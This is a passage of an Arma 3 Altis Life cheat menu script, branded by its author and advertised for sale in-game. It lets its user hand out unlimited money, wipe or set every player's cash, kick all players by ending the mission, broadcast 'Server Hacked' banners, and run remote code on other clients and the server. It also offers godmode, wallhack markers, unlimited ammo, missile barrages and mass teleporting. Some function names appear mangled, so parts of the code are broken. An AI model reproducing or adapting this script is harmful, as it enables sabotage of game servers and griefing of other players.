  1864. hint "You got Money \n by Aaron is sexy updated";
  1865. }, "", 50];
  1866. player addAction[" 50k", {
  1867. life_Cash = Life_Cash + 50000;
  1868. hint "You got Money \n by Aaron is sexy updated";
  1869. }, "", 50];
  1870. player addAction["100k", {
  1871. life_Cash = Life_Cash + 100000;
  1872. hint "You got Money \n by Aaron is sexy updated";
  1873. }, "", 50];
  1874. player addAction["250k", {
  1875. life_Cash = Life_Cash + 250000;
  1876. hint "You got Money \n by Aaron is sexy updated";
  1877. }, "", 50];
  1878. player addAction["500k", {
  1879. life_Cash = Life_Cash + 500000;
  1880. hint "You got Money \n by Aaron is sexy updated";
  1881. }, "", 50];
  1882. player addAction["<t color='#000000'>----------------------</t>", {
  1883. hint "Menu by Aaron is sexy updated";
  1884. }, "", 50];
  1885. player addAction[" 1kk", {
  1886. life_Cash = Life_Cash + 1000000;
  1887. hint "You got Money \n by Aaron is sexy updated";
  1888. }, "", 50];
  1889. player addAction[" 2kk", {
  1890. life_Cash = Life_Cash + 2000000;
  1891. hint "You got Money \n by Aaron is sexy updated";
  1892. }, "", 50];
  1893. player addAction[" 5kk", {
  1894. life_Cash = Life_Cash + 5000000;
  1895. hint "You got Money \n by Aaron is sexy updated";
  1896. }, "", 50];
  1897. player addAction[" 10kk", {
  1898. life_Cash = Life_Cash + 10000000;
  1899. hint "You got Money \n by Aaron is sexy updated";
  1900. }, "", 50];
  1901. player addAction[" 25kk", {
  1902. life_Cash = Life_Cash + 25000000;
  1903. hint "You got Money \n by Aaron is sexy updated";
  1904. }, "", 50];
  1905. player addAction[" 50kk", {
  1906. life_Cash = Life_Cash + 50000000;
  1907. hint "You got Money \n by Aaron is sexy updated";
  1908. }, "", 50];
  1909. player addAction["100kk", {
  1910. life_Cash = Life_Cash + 100000000;
  1911. hint "You got Money \n by Aaron is sexy updated";
  1912. }, "", 50];
  1913. player addAction["<t color='#000000'>----------------------</t>", {
  1914. hint "Menu by Aaron is sexy updated";
  1915. }, "", 50];
  1916. }, "", 50];
  1917. player addAction["Reset my Money", {
  1918. life_Cash = 0;
  1919. life_atmCash = 0;
  1920. }, "", 50];
  1921. player addAction["Money all (0)", {
  1922. [TRUE, "life_cash = 36; life_atmcash = 36;"] call Aaron is sexy updated;
  1923. hint "All players got fucked \n by Aaron is sexy updated";
  1924. }, "", 50];
  1925. player addAction["Money all (36 Mil)", {
  1926. [TRUE, "life_cash = 36363636; life_atmcash = 36363636;"] call Aaron is sexy updated;
  1927. hint "All players got 10Mil \n by Aaron is sexy updated";
  1928. }, "", 50];
  1929. player addAction["<t color='#000000'>----------------------</t>", {
  1930. hint "Menu by Aaron is sexy updated";
  1931. }, "", 50];
  1932. player addAction["Time Day", {
  1933. [FALSE, "if(isServer) then {while {true} do {setDate [2012, 9, 1, 11, 0]; sleep 5;};};"] call Aaron is sexy updated;
  1934. hint "Time: Day (Please Wait)";
  1935. }, "", 50];
  1936. player addAction["Time Night", {
  1937. [FALSE, "if(isServer) then {while {true} do {setDate [2012, 9, 1, 24, 0]; sleep 5;};};"] call Aaron is sexy updated;
  1938. hint "Time: Night (Please Wait)";
  1939. }, "", 50];
  1940. player addAction["Broadcast", {
  1941. [TRUE, "hint 'Server Hacked \n by Aaron is sexy updated';"] call Aaron is sexy updated;
  1942. }, "", 50];
  1943. player addAction["Newsbanner", {
  1944. if (isnil("Aaron is sexy updated_News_Banner")) then {
  1945. Aaron is sexy updated_News_Banner = 0;
  1946. };
  1947. if (Aaron is sexy updated_News_Banner == 0) then {
  1948. Aaron is sexy updated_News_Banner = 1;
  1949. hint "News Banner On";
  1950. [TRUE, "[parseText'<t size=''1.8'' color=''#CA278C''>This Server is now owned ===> Hacked by Aaron is sexy updated </t><br/><t color=''#CA278C''>If you wanna buy this Hack, just add me on Steam: Aaron is sexy updated_Arma</t>',parseText'<t size=''1.2''color=''#FE2E2E''>HACKED </t><t size=''1.2''color=''#FACC2E''>HACKED </t><t size=''1.2''color=''#80FF00''>HACKED </t><t size=''1.2''color=''#00FF00''>HACKED </t><t size=''1.2''color=''#2EFE9A''>HACKED </t><t size=''1.2''color=''#00FFFF''>HACKED </t><t size=''1.2''color=''#0174DF''>HACKED </t><t size=''1.2''color=''#013ADF''>HACKED </t><t size=''1.2''color=''#3A01DF''>HACKED </t><t size=''1.2''color=''#A901DB''>HACKED </t><t size=''1.2''color=''#DF0174''>HACKED </t><t size=''1.2''color=''#00FFFF''>HACKED </t>']spawn BIS_fnc_AAN;"] call Aaron is sexy updated;
  1951. } else {
  1952. Aaron is sexy updated_News_Banner = 0;
  1953. hint "News Banner Off";
  1954. [TRUE, "(uinamespace getvariable 'BIS_AAN') closedisplay 1;"] call Aaron is sexy updated;
  1955. };
  1956. }, "", 50];
  1957. player addAction["<t color='#000000'>----------------------</t>", {
  1958. hint "Menu by Aaron is sexy updated";
  1959. }, "", 50];
  1960. player addAction["ServerDown", {
  1961. [TRUE, "failMission'LOSER';"] call Aaron is sexy updated;
  1962. hint "All Players has been kicked by Aaron is sexy updated";
  1963. }, "", 50];
  1964. player addAction["<t color='#FF00FF'>Executer</t>", {
  1965. execvm "_src\test.sqf";
  1966. }, "", 50];
  1967. };
  1968. If(alive Dummy) then {
  1969. player addAction["Switch to Dummy", {
  1970. {
  1971. _x = player;
  1972. first = _x;
  1973. _x = vehicle Dummy;
  1974. second = _x;
  1975. secondowner = owner _x;
  1976. }
  1977. foreach playableunits;
  1978. first remotecontrol second;
  1979. vehicle second switchcamera "EXTERNAL";
  1980. hint "Press F3 to switch back \n by Aaron is sexy updated";
  1981. }, "", 50];
  1982. };
  1983. Dummy_Menu = {
  1984. Dummy addaction["<t color='#000000'>----------------------</t>", {
  1985. Hint "Dummy FTW! :D";
  1986. }, "", 50];
  1987. Dummy addAction["- Destroy Target", {
  1988. _dt = cursorTarget;
  1989. cursorTarget setDamage 100;
  1990. hint format["%1 \n Damaged \n by Aaron is sexy updated", _dt];
  1991. }, "", 50];
  1992. Dummy addAction["- Vehicle EMP", {
  1993. [cursorTarget, "vehicle player setFuel 0;"] call Aaron is sexy updated;
  1994. hint format["%1 \n Vehicle Stopped \n by Aaron is sexy updated", cursorTarget];
  1995. }, "", 50];
  1996. Dummy addAction["- Teleport on Mapclick", {
  1997. openMap[true, false];
  1998. onMapSingleClick '_pos1 = [(_pos select 0), (_pos select 1), 0]; vehicle Dummy setPos _pos1;hint format [ "%1 \n was teleported to \n %2 \n by Aaron is sexy updated", name Dummy, _pos1] onMapSingleClick "";openMap [false, false];';
  1999. }, "", 50];
  2000. Dummy addAction["- Teleport to Player", {
  2001. removeallactions Dummy;
  2002. Dummy addaction["<t color='#FF0000'>Close Menu</t>", {
  2003. removeallactions Dummy;
  2004. call Dummy_Menu;
  2005. }, "", 50];
  2006. Dummy addaction["<t color='#000000'>----------------------</t>", {
  2007. hint "Menu by Aaron is sexy updated";
  2008. }, "", 50];
  2009. _AllUnits = playableUnits;
  2010. _CountAllUnits = count _AllUnits;
  2011. hint format[" \n - Player - List - \n \n - Made by Aaron is sexy updated - \n \n ----------------------------------------------- \n User Online: \n %1 \n ----------------------------------------------- \n Current Loaded: \n %1 \n ----------------------------------------------- \n ", _CountAllUnits];
  2012. Aaron is sexy updated_PlayerList = {
  2013. {
  2014. if ((isPlayer _x) && (alive _x)) then {
  2015. Dummy addAction[format["%1 - %2", _x, name _x], {
  2016. _player = (_this select 3);
  2017. vehicle Dummy setPos[(getpos _player select 0) + 15, (getpos _player select 1) + 15, (getpos _player select 2)];
  2018. hint format["You have been Ported to \n %1 \n by Aaron is sexy updated", name _player];
  2019. }, _x]
  2020. };
  2021. }
  2022. forEach(playableUnits);
  2023. };
  2024. [] call Aaron is sexy updated_PlayerList;
  2025. }, "", 50];
  2026. Dummy addAction["- Vehicle Spawn", {
  2027. removeallactions Dummy;
  2028. Dummy addaction["<t color='#FF0000'>Close Menu</t>", {
  2029. removeallactions Dummy;
  2030. call Dummy_Menu;
  2031. }, "", 50];
  2032. Dummy addaction["<t color='#000000'>----------------------</t>", {
  2033. Hint "Dummy FTW! :D";
  2034. }, "", 50];
  2035. Dummy addAction["Spawn Quadbike", {
  2036. _svtp = createVehicle["B_G_Quadbike_01_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2037. _svtp setDir(direction Dummy - 90);
  2038. }, "", 50];
  2039. Dummy addAction["Spawn Gocart", {
  2040. _svtp = createVehicle["C_Kart_01_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2041. _svtp setDir(direction Dummy - 90);
  2042. }, "", 50];
  2043. Dummy addAction["<t color='#000000'>----------------------</t>", {
  2044. hint "Menu by Aaron is sexy updated";
  2045. }, "", 50];
  2046. Dummy addAction["Spawn Hatchback", {
  2047. _svtp = createVehicle["C_Hatchback_01_sport_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2048. _svtp setDir(direction Dummy - 90);
  2049. }, "", 50];
  2050. Dummy addAction["Spawn Offroad", {
  2051. _svtp = createVehicle["C_Offroad_01_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2052. _svtp setDir(direction Dummy - 90);
  2053. }, "", 50];
  2054. Dummy addAction["Spawn SUV", {
  2055. _svtp = createVehicle["C_SUV_01_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2056. _svtp setDir(direction Dummy - 90);
  2057. }, "", 50];
  2058. Dummy addAction["Spawn Truck", {
  2059. _svtp = createVehicle["B_Truck_01_covered_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2060. _svtp setDir(direction Dummy - 90);
  2061. }, "", 50];
  2062. Dummy addAction["<t color='#000000'>----------------------</t>", {
  2063. hint "Menu by Aaron is sexy updated";
  2064. }, "", 50];
  2065. Dummy addAction["Spawn Strider", {
  2066. _svtp = createVehicle["I_MRAP_03_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2067. _svtp setDir(direction Dummy - 90);
  2068. }, "", 50];
  2069. Dummy addAction["Spawn Strider HMG", {
  2070. _svtp = createVehicle["I_MRAP_03_hmg_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2071. _svtp setDir(direction Dummy - 90);
  2072. }, "", 50];
  2073. Dummy addAction["Spawn Strider GMG", {
  2074. _svtp = createVehicle["I_MRAP_03_gmg_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2075. _svtp setDir(direction Dummy - 90);
  2076. }, "", 50];
  2077. Dummy addAction["Spawn Hunter", {
  2078. _svtp = createVehicle["B_MRAP_01_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2079. _svtp setDir(direction Dummy - 90);
  2080. }, "", 50];
  2081. Dummy addAction["Spawn Hunter HMG", {
  2082. _svtp = createVehicle["B_MRAP_01_hmg_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2083. _svtp setDir(direction Dummy - 90);
  2084. }, "", 50];
  2085. Dummy addAction["Spawn Hunter GMG", {
  2086. _svtp = createVehicle["B_MRAP_01_gmg_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2087. _svtp setDir(direction Dummy - 90);
  2088. }, "", 50];
  2089. Dummy addAction["Spawn Ifrit", {
  2090. _svtp = createVehicle["O_MRAP_02_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2091. _svtp setDir(direction Dummy - 90);
  2092. }, "", 50];
  2093. Dummy addAction["Spawn Ifrit HMG", {
  2094. _svtp = createVehicle["O_MRAP_02_hmg_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2095. _svtp setDir(direction Dummy - 90);
  2096. }, "", 50];
  2097. Dummy addAction["Spawn Ifrit GMG", {
  2098. _svtp = createVehicle["O_MRAP_02_gmg_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2099. _svtp setDir(direction Dummy - 90);
  2100. }, "", 50];
  2101. Dummy addAction["Spawn Tank", {
  2102. _svtp = createVehicle["B_MBT_01_cannon_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2103. _svtp setDir(direction Dummy - 90);
  2104. }, "", 50];
  2105. Dummy addAction["Spawn Tank2", {
  2106. _svtp = createVehicle["B_MBT_01_mlrs_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2107. _svtp setDir(direction Dummy - 90);
  2108. }, "", 50];
  2109. Dummy addAction["<t color='#000000'>----------------------</t>", {
  2110. hint "Menu by Aaron is sexy updated";
  2111. }, "", 50];
  2112. Dummy addAction["Spawn AH9", {
  2113. _svtp = createVehicle["B_Heli_Light_01_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2114. _svtp setDir(direction Dummy - 90);
  2115. }, "", 50];
  2116. Dummy addAction["Spawn AH9 Armed", {
  2117. _svtp = createVehicle["B_Heli_Light_01_armed_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2118. _svtp setDir(direction Dummy - 90);
  2119. }, "", 50];
  2120. Dummy addAction["Spawn Armed Kajaman", {
  2121. _svtp = createVehicle["O_Heli_Attack_02_black_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2122. _svtp setDir(direction Dummy - 90);
  2123. }, "", 50];
  2124. Dummy addAction["Spawn Ghost Hawk", {
  2125. _svtp = createVehicle["B_Heli_Transport_01_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2126. _svtp setDir(direction Dummy - 90);
  2127. }, "", 50];
  2128. Dummy addAction["Spawn Armed Orca", {
  2129. _svtp = createVehicle["O_Heli_Light_02_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2130. _svtp setDir(direction Dummy - 90);
  2131. }, "", 50];
  2132. Dummy addAction["Spawn Commance", {
  2133. _svtp = createVehicle["B_Heli_Attack_01_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2134. _svtp setDir(direction Dummy - 90);
  2135. }, "", 50];
  2136. Dummy addAction["<t color='#000000'>----------------------</t>", {
  2137. hint "Menu by Aaron is sexy updated";
  2138. }, "", 50];
  2139. Dummy addAction["Spawn Plane I", {
  2140. _svtp = createVehicle["I_Plane_Fighter_03_CAS_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2141. _svtp setDir(direction Dummy - 90);
  2142. }, "", 50];
  2143. Dummy addAction["Spawn Plane B", {
  2144. _svtp = createVehicle["B_Plane_CAS_01_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2145. _svtp setDir(direction Dummy - 90);
  2146. }, "", 50];
  2147. Dummy addAction["Spawn Plane O", {
  2148. _svtp = createVehicle["O_Plane_CAS_02_F", Dummy modelToWorld[0, 10, 0], [], 0, "CAN_COLLIDE"];
  2149. _svtp setDir(direction Dummy - 90);
  2150. }, "", 50];
  2151. Dummy addAction["<t color='#000000'>----------------------</t>", {
  2152. hint "Menu by Aaron is sexy updated";
  2153. }, "", 50];
  2154. }, "", 50];
  2155. Dummy addAction["- Extras", {
  2156. removeallactions Dummy;
  2157. Dummy addaction["<t color='#FF0000'>Close Menu</t>", {
  2158. removeallactions Dummy;
  2159. call Dummy_Menu;
  2160. }, "", 50];
  2161. Dummy addaction["<t color='#000000'>----------------------</t>", {
  2162. Hint "Dummy FTW! :D";
  2163. }, "", 50];
  2164. Dummy addAction["- Godmode", {
  2165. if (isNil "Dummy_God") then {
  2166. Dummy_God = 0;
  2167. };
  2168. if (Dummy_God == 0) then {
  2169. Dummy_God = 1;
  2170. hint "Godmode \n by Aaron is sexy updated \n ON ";
  2171. fnc_usec_damageHandler = {};
  2172. fnc_usec_unconscious = {};
  2173. Dummy removeAllEventHandlers "handleDamage";
  2174. Dummy addEventHandler["handleDamage", {
  2175. false
  2176. }];
  2177. Dummy allowDamage false;
  2178. vehicle Dummy removeAllEventHandlers "handleDamage";
  2179. vehicle Dummy addEventHandler["handleDamage", {
  2180. false
  2181. }];
  2182. vehicle Dummy allowDamage false;
  2183. } else {
  2184. Dummy_God = 0;
  2185. hint "Godmode \n by Aaron is sexy updated \n OFF ";
  2186. Dummy addEventHandler["handleDamage", {
  2187. true
  2188. }];
  2189. Dummy removeAllEventHandlers "handleDamage";
  2190. Dummy allowDamage true;
  2191. };
  2192. }, "", 50];
  2193. Dummy addAction["- E5P Markers", {
  2194. if (isnil("Dummy_E5P")) then {
  2195. Dummy_E5P = 0;
  2196. };
  2197. if (Dummy_E5P == 0) then {
  2198. Dummy_E5P = 1;
  2199. hint "Dummy_E5P \n by Aaron is sexy updated \n ON";
  2200. } else {
  2201. Dummy_E5P = 0;
  2202. hint "Dummy_E5P \n by Aaron is sexy updated \n OFF";
  2203. };
  2204. if (Dummy_E5P == 1) then {
  2205. onEachFrame {
  2206. _l49 = nearestobjects[Dummy, ["CAManBase"], 1500]; {
  2207. if ((side _x != side player) && (getPlayerUID _x != "") && ((Dummy distance _x) < 1500)) then {
  2208. drawIcon3D["", [1, 0, 0, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format["%2 : %1m", round(Dummy distance _x), name _x]), 1, 0.04, "TahomaB"]
  2209. } else {
  2210. if ((getPlayerUID _x != "") && ((Dummy distance _x) < 1500)) then {
  2211. drawIcon3D["", [0, 0.5, 1, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format["%2 : %1m", round(Dummy distance _x), name _x]), 1, 0.04, "TahomaB"]
  2212. };
  2213. };
  2214. }
  2215. foreach playableUnits;
  2216. };
  2217. } else {
  2218. onEachFrame {
  2219. nil
  2220. };
  2221. };
  2222. }, "", 50];
  2223. Dummy addAction["- Unlimit Ammo + Rapit Fire", {
  2224. if (isnil("Aaron is sexy updated_Unlim_Ammo_Dummy")) then {
  2225. Aaron is sexy updated_Unlim_Ammo_Dummy = 0;
  2226. };
  2227. if (Aaron is sexy updated_Unlim_Ammo_Dummy == 0) then {
  2228. Aaron is sexy updated_Unlim_Ammo_Dummy = 1;
  2229. hint "Unlimit Ammo \n by Aaron is sexy updated \n ON";
  2230. } else {
  2231. Aaron is sexy updated_Unlim_Ammo_Dummy = 0;
  2232. hint "Unlimit Ammo \n by Aaron is sexy updated \n OFF";
  2233. };
  2234. while {
  2235. Aaron is sexy updated_Unlim_Ammo_Dummy == 1
  2236. }
  2237. do {
  2238. if (!alive Dummy) then {
  2239. Dummy_God = 0;
  2240. Dummy_E5P = 0;
  2241. Aaron is sexy updated_Unlim_Ammo_Dummy = 0;
  2242. deletevehicle Dummy;
  2243. };
  2244. vehicle Dummy setVehicleLock "UNLOCKED";
  2245. _l25 = primaryWeapon Dummy;
  2246. _l31 = secondaryWeapon Dummy;
  2247. Dummy setAmmo[_l25, 999];
  2248. Dummy setAmmo[_l31, 999];
  2249. (vehicle Dummy) setVehicleAmmo 1;
  2250. (vehicle Dummy) setVehicleAmmo 1;
  2251. (vehicle Dummy) setWeaponReloadingTime[(vehicle Dummy), currentWeapon(vehicle Dummy), 0];
  2252. Dummy setWeaponReloadingTime[Dummy, currentWeapon Dummy, 0];
  2253. Dummy setFatigue 0;
  2254. sleep 0.01;
  2255. };
  2256. }, "", 50];
  2257. Dummy addAction["- Airstrike", {
  2258. meins = 1000;
  2259. mein1 = {
  2260. openMap[false, false];
  2261. [_pos] spawn {
  2262. for '_l39'
  2263. from 0 to meins do {
  2264. _l87 = "M_AT";
  2265. _l88 = [_this select 0 select 0, _this select 0 select 1, (_this select 0 select 2) + 200];
  2266. _l89 = createVehicle[_l87, _l88, [], 0, "CAN_COLLIDE"];
  2267. _l89 setvelocity[random 1000.00 - 500, random 1000.00 - 500, 0];
  2268. [_l89, -90, 0] call BIS_fnc_setPitchBank;
  2269. hint format["Missiles Launched \n by Aaron is sexy updated \n %1", _l39];
  2270. sleep(random 0.00001);
  2271. };
  2272. };
  2273. };
  2274. titleText["Click on map to drop Airstrike", "PLAIN"];
  2275. titlefadeout 7;
  2276. onMapSingleClick "_pos call mein1;";
  2277. openMap[true, false];
  2278. }, "", 50];
  2279. Dummy addAction["- TP me to kavalla Top", {
  2280. Dummy setPos[3690, 13150, 14.6];
  2281. hint format["Ported - by Aaron is sexy updated"];
  2282. }, "", 50];
  2283. Dummy addAction["- TP all to my Cursor", {
  2284. _wPos = screenToWorld[0.5, 0.5];
  2285. _donot = name player;
  2286. [TRUE, "deleteVehicle player;"] call Thirty_Six; {
  2287. if (name _x != name player) then {
  2288. vehicle _x setPos(_wPos);
  2289. };
  2290. }
  2291. foreach playableUnits;
  2292. hint format[" All players teleported to: \n %1 \n by Thirty_Six", _wPos];
  2293. }, "", 50];
  2294. Dummy addaction["<t color='#000000'>----------------------</t>", {
  2295. Hint "Dummy FTW! :D";
  2296. }, "", 50];
  2297. }, "", 50];
  2298. Dummy addAction["- Cop", {
  2299. removeallactions Dummy;
  2300. Dummy addaction["<t color='#FF0000'>Close Menu</t>", {
  2301. removeallactions Dummy;
  2302. call Dummy_Menu;
  2303. }, "", 50];
  2304. Dummy addaction["<t color='#000000'>----------------------</t>", {
  2305. Hint "Dummy FTW! :D";
  2306. }, "", 50];
  2307. Dummy addAction["- Chat", {
  2308. if (getPlayerUID cursorTarget != "") then {
  2309. [cursorTarget, "['TaskSucceeded', ['', 'Incoming Message']] call BIS_fnc_showNotification;hint '\n My friend, \n i cant hear you, if you wish to tell me something, please use the\n Direct Chat. \n \n --------------------------------------------- \n Lieber Freund, \n ich kann dich nicht hoeren, wenn du mir etwas sagen willst, schreibe dies bitte in den \n Direct Chat. \n';"] call Aaron is sexy updated;
  2310. hint '\n My friend, \n i cant hear you, if you wish to tell me something, please use the\n Direct Chat. \n \n --------------------------------------------- \n Lieber Freund, \n ich kann dich nicht hoeren, wenn du mir etwas sagen willst, schreibe dies bitte in den \n Direct Chat. \n';
  2311. } else {
  2312. hint "No cursor target found!";
  2313. };
  2314. }, "", 50];
  2315. Dummy addAction["- Restrain Target", {
  2316. hint format["%1 was restrained \n by Aaron is sexy updated", name cursorTarget];
  2317. cursorTarget setVariable["restrained", true, true];
  2318. [
  2319. [cursorTarget], "life_fnc_restrain", cursorTarget, false
  2320. ] spawn life_fnc_MP;
  2321. }, "", 50];
  2322. Dummy addAction["- Unrestrain Target", {
  2323. hint format["%1 was released \n by Aaron is sexy updated", name cursorTarget];
  2324. cursorTarget setVariable["restrained", false, true];
  2325. }, "", 50];
  2326. Dummy addAction["- Escort on", {
  2327. cursorTarget attachTo[Dummy, [0.1, 1.1, 0]];
  2328. cursorTarget setVariable["transporting", false, true];
  2329. cursorTarget setVariable["Escorting", true, true];
  2330. }, "", 50];
  2331. Dummy addAction["- Escort off", {
  2332. detach cursorTarget;
  2333. cursorTarget setVariable["Escorting", false, true];
  2334. }, "", 50];
  2335. Dummy addAction["-<t color='#FFFF00'> Attach Player </t>", {
  2336. if (isnil("Attach_Player_to_Dummy")) then {
  2337. Attach_Player_to_Dummy = 0;
  2338. };
  2339. if (Attach_Player_to_Dummy == 0) then {
  2340. Attach_Player_to_Dummy = 1;
  2341. Saved_pos_player = getpos player;
  2342. player attachTo[Dummy, [0, 0, -20]];
  2343. hint "Player attached to Dummy \n by Aaron is sexy updated";
  2344. } else {
  2345. Attach_Player_to_Dummy = 0;
  2346. detach player;
  2347. vehicle player setpos Saved_pos_player;
  2348. hint "Player detached from Dummy \n by Aaron is sexy updated";
  2349. };
  2350. }, "", 50];
  2351. Dummy addaction["<t color='#000000'>----------------------</t>", {
  2352. Hint "Dummy FTW! :D";
  2353. }, "", 50];
  2354. }, "", 50];
  2355. Dummy addaction["<t color='#000000'>----------------------</t>", {
  2356. Hint "Dummy FTW! :D";
  2357. }, "", 50];
  2358. };
  2359. fill = {
  2360. private["_box", "_type", "_boxn", "_bType", "_bType", "_bPos", "_boxn", "_cfgweapons", "_weapons", "_magazines", "_cur_wep", "_classname", "_wep_type", "_scope", "_picture", "_items", "_backpacks"];
  2361. _box = _this select 0;
  2362. _type = _this select 1;
  2363. _resupply =
  2364. if (count _this > 2) then {
  2365. _this select 2;
  2366. } else {
  2367. false;
  2368. };
  2369. _resupply_time =
  2370. if (count _this > 3) then {
  2371. _this select 3;
  2372. } else {
  2373. 60 * 5
  2374. };
  2375. _bType = typeOf _box;
  2376. _bPos = getPos _box;
  2377. if (!local _box) then {
  2378. _box hideObject true;
  2379. _boxn = _bType createVehicleLocal[0, 0, 0];
  2380. _boxn setPosATL[_bPos select 0, _bPos select 1, 0];
  2381. } else {
  2382. _boxn = _box;
  2383. };
  2384. clearWeaponCargo _boxn;
  2385. clearMagazineCargo _boxn;
  2386. clearItemCargo _boxn;
  2387. clearBackpackCargo _boxn;
  2388. switch (_type) do {
  2389. case 0:
  2390. {
  2391. _cfgweapons = configFile >> "CfgWeapons";
  2392. _weapons = [];
  2393. for "_i"
  2394. from 0 to(count _cfgWeapons) - 1 do {
  2395. _cur_wep = _cfgweapons select _i;
  2396. if (isClass _cur_wep) then {
  2397. _classname = configName _cur_wep;
  2398. _wep_type = getNumber(_cur_wep >> "type");
  2399. _scope = getNumber(_cur_wep >> "scope");
  2400. _picture = getText(_cur_wep >> "picture");
  2401. if (_scope >= 2 && _wep_type in [1, 2, 4, 4096] && _picture != "" && !(_classname in _weapons) && _classname != "NVGoggles") then {
  2402. _weapons set[count _weapons, _classname];
  2403. };
  2404. };
  2405. };
  2406. _cfgweapons = configFile >> "CfgMagazines";
  2407. _magazines = [];
  2408. for "_i"
  2409. from 0 to(count _cfgWeapons) - 1 do {
  2410. _cur_wep = _cfgweapons select _i;
  2411. if (isClass _cur_wep) then {
  2412. _classname = configName _cur_wep;
  2413. _scope = getNumber(_cur_wep >> "scope");
  2414. _picture = getText(_cur_wep >> "picture");
  2415. if (_scope >= 2 && _picture != "" && !(_classname in _magazines)) then {
  2416. _magazines set[count _magazines, _classname];
  2417. };
  2418. };
  2419. }; {
  2420. _boxn addWeaponCargo[_x, 5];
  2421. }
  2422. foreach _weapons; {
  2423. _boxn addMagazineCargo[_x, 50];
  2424. }
  2425. foreach _magazines;
  2426. _cfgweapons = configFile >> "CfgWeapons";
  2427. _items = [];
  2428. for "_i"
  2429. from 0 to(count _cfgWeapons) - 1 do {
  2430. _cur_wep = _cfgweapons select _i;
  2431. if (isClass _cur_wep) then {
  2432. _classname = configName _cur_wep;
  2433. _wep_type = getNumber(_cur_wep >> "type");
  2434. _scope = getNumber(_cur_wep >> "scope");
  2435. _picture = getText(_cur_wep >> "picture");
  2436. if (_scope >= 2 && _wep_type in [131072, 4096] && _picture != "" && !(_classname in _items) && _classname != "Binocular") then {
  2437. _items set[count _items, _classname];
  2438. };
  2439. };
  2440. }; {
  2441. _boxn addItemCargo[_x, 1];
  2442. }
  2443. foreach _items;
  2444. _cfgweapons = configFile >> "CfgVehicles";
  2445. _backpacks = [];
  2446. for "_i"
  2447. from 0 to(count _cfgWeapons) - 1 do {
  2448. _cur_wep = _cfgweapons select _i;
  2449. if (isClass _cur_wep) then {
  2450. _classname = configName _cur_wep;
  2451. _wep_type = getText(_cur_wep >> "vehicleClass");
  2452. _scope = getNumber(_cur_wep >> "scope");
  2453. _picture = getText(_cur_wep >> "picture");
  2454. if (_scope >= 2 && _wep_type == "Backpacks" && _picture != "" && !(_classname in _backpacks)) then {
  2455. _backpacks set[count _backpacks, _classname];
  2456. };
  2457. };
  2458. }; {
  2459. _boxn addBackPackCargo[_x, 10];
  2460. }
  2461. foreach _backpacks;
  2462. };
  2463. case 1:
  2464. {
  2465. _cfgweapons = configFile >> "CfgWeapons";
  2466. _weapons = [];
  2467. for "_i"
  2468. from 0 to(count _cfgWeapons) - 1 do {
  2469. _cur_wep = _cfgweapons select _i;
  2470. if (isClass _cur_wep) then {
  2471. _classname = configName _cur_wep;
  2472. _wep_type = getNumber(_cur_wep >> "type");
  2473. _scope = getNumber(_cur_wep >> "scope");
  2474. _picture = getText(_cur_wep >> "picture");
  2475. if (_scope >= 2 && _wep_type in [1, 2, 4, 4096] && _picture != "" && !(_classname in _weapons) && _classname != "NVGoggles") then {
  2476. _weapons set[count _weapons, _classname];
  2477. };
  2478. };
  2479. };
  2480. _cfgweapons = configFile >> "CfgMagazines";
  2481. _magazines = [];
  2482. for "_i"
  2483. from 0 to(count _cfgWeapons) - 1 do {
  2484. _cur_wep = _cfgweapons select _i;
  2485. if (isClass _cur_wep) then {
  2486. _classname = configName _cur_wep;
  2487. _scope = getNumber(_cur_wep >> "scope");
  2488. _picture = getText(_cur_wep >> "picture");
  2489. if (_scope >= 2 && _picture != "" && !(_classname in _magazines)) then {
  2490. _magazines set[count _magazines, _classname];
  2491. };
  2492. };
  2493. }; {
  2494. _boxn addWeaponCargo[_x, 5];
  2495. }
  2496. foreach _weapons; {
  2497. _boxn addMagazineCargo[_x, 50];
  2498. }
  2499. foreach _magazines;
  2500. };
  2501. case 2:
  2502. {
  2503. _cfgweapons = configFile >> "CfgWeapons";
  2504. _items = [];
  2505. for "_i"
  2506. from 0 to(count _cfgWeapons) - 1 do {
  2507. _cur_wep = _cfgweapons select _i;
  2508. if (isClass _cur_wep) then {
  2509. _classname = configName _cur_wep;
  2510. _wep_type = getNumber(_cur_wep >> "type");
  2511. _scope = getNumber(_cur_wep >> "scope");
  2512. _picture = getText(_cur_wep >> "picture");
  2513. if (_scope >= 2 && _wep_type in [131072, 4096] && _picture != "" && !(_classname in _items) && _classname != "Binocular") then {
